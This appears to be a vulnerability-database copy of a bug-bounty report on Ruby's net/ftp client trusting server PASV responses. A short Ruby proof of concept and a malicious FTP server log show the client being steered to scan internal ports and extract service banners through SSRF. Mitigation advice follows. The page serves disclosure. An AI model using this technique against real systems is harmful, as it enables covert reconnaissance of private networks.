Lucene search

K
hackeroneSighookH1:1145454
HistoryApr 02, 2021 - 3:56 p.m.

Ruby: lib/net/ftp.rb: trusting PASV responses allow client abuse

2021-04-0215:56:47
sighook
hackerone.com
$500
45

5.8 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.037 Low

EPSS

Percentile

90.6%

When net/ftp performs a passive FTP transfer, it tries to using PASV. Passive mode is what net/ftp uses by default.
A server response to a PASV command includes the (IPv4) address and port number for the client to connect back to in order to perform the actual data
transfer.

This is how the FTP protocol is designed to work.[^1]

A malicious server can use the PASV response to trick net/ftp into connecting back to a given IP address and port, and this way potentially make it extract information about services that are otherwise private and not disclosed, for example doing port scanning and service banner extractions.
If net/ftp operates on a URL provided by a user (with by all means is an unwise setup), a user can exploit that and pass in a URL to a malicious FTP server instance without needing any server breach to perform the attack.

Other FTP clients have in the past also had this flaw and have fixed it at different points in time:

[^1]: With one exception: EPSV. The correct behaviour is first try the EPSV command and if that is not supported, fall back to using PASV.

Impact

This behavior is by design (unless EPSV ALL is sent) but it could still lead to security issues depending on the context.
I encountered this issue within a web application with a server-side request forgery (SSRF) issue (but this issue applies to any form of SSRF with net/ftp as the request processor). In that context, one can get the following additional capabilities:

  • Reliable tcp port scanning (this is not normally possible by just providing a random ip:port to net/ftp)
  • Network service banner extraction (we setup the data channel on the target ip:port and extract for example an ssh banner: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8 without any errors)
  • Potential bypass of ip/port restrictions, e.g. the server might be filtering internal IPs or allowing only specific ports (but still allowing FTP)

PoC

I used the following simple code:

require 'net/ftp'
ftp = Net::FTP.new
ftp.connect(ARGV[0], ARGV[1])
ftp.login
#ftp.passive = true # by default
ftp.getbinaryfile('/whatever', 'whatever')
ftp.close

And the custom ftp-server:

[Parent] Got connection from 192.168.100.2:43520... Spawned process 31749 to handle connection
[PID 31749] SEND: 220 FTP PASV Demo Server v1.0
[PID 31749] RECV: USER anonymous
[PID 31749] SEND: 331 Please specify the password.
[PID 31749] RECV: PASS anonymous@
[PID 31749] SEND: 230 Login successful.
[PID 31749] RECV: TYPE I
[PID 31749] SEND: 200 Switching to Binary mode.
[PID 31749] RECV: PASV
[PID 31750] Handling incoming request to PASV port
>>> Sending 127.0.0.1:8123
[PID 31750] SEND: 227 Entering Passive Mode (127,0,0,1,31,187)
[PID 31750] Exiting
-------------------------------- The Port is Open ---------------------------------
[PID 31749] RECV: RETR /whatever
[PID 31749] SEND: 150 Opening BINARY mode data connection for /whatever (0 bytes).
[PID 31749] SEND: 226 File send OK.
[PID 31749] Exiting
----------------------------------------------------------------------------------
[Parent] Got connection from 192.168.100.2:43524... Spawned process 31787 to handle connection
[PID 31787] SEND: 220 FTP PASV Demo Server v1.0
[PID 31787] RECV: USER anonymous
[PID 31787] SEND: 331 Please specify the password.
[PID 31787] RECV: PASS anonymous@
[PID 31787] SEND: 230 Login successful.
[PID 31787] RECV: TYPE I
[PID 31787] SEND: 200 Switching to Binary mode.
[PID 31787] RECV: PASV
[PID 31788] Handling incoming request to PASV port
>>> 127.0.0.1:8080
[PID 31788] SEND: 227 Entering Passive Mode (127,0,0,1,31,144)
[PID 31788] Exiting
------------------------------- The Port is Closed --------------------------------
[PID 31787] RECV: ERROR: unmatched reply
[PID 31787] Exiting
----------------------------------------------------------------------------------

Mitigation

Currently, net/ftp can mitigate this flaw by disabling passive mode, which is enabled by default. But this is not the best solution to this problem, perhaps, as well as disabling passive mode by default.

For example, firefox just ignores the ip address that is sent from the server. But Curl provides the option which tell to not use the IP address the server suggests in its response to curl’s PASV command when curl connects the data connection. Instead curl will re-use the same IP address it already uses for the control connection. The second seems more reasonable.

5.8 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.037 Low

EPSS

Percentile

90.6%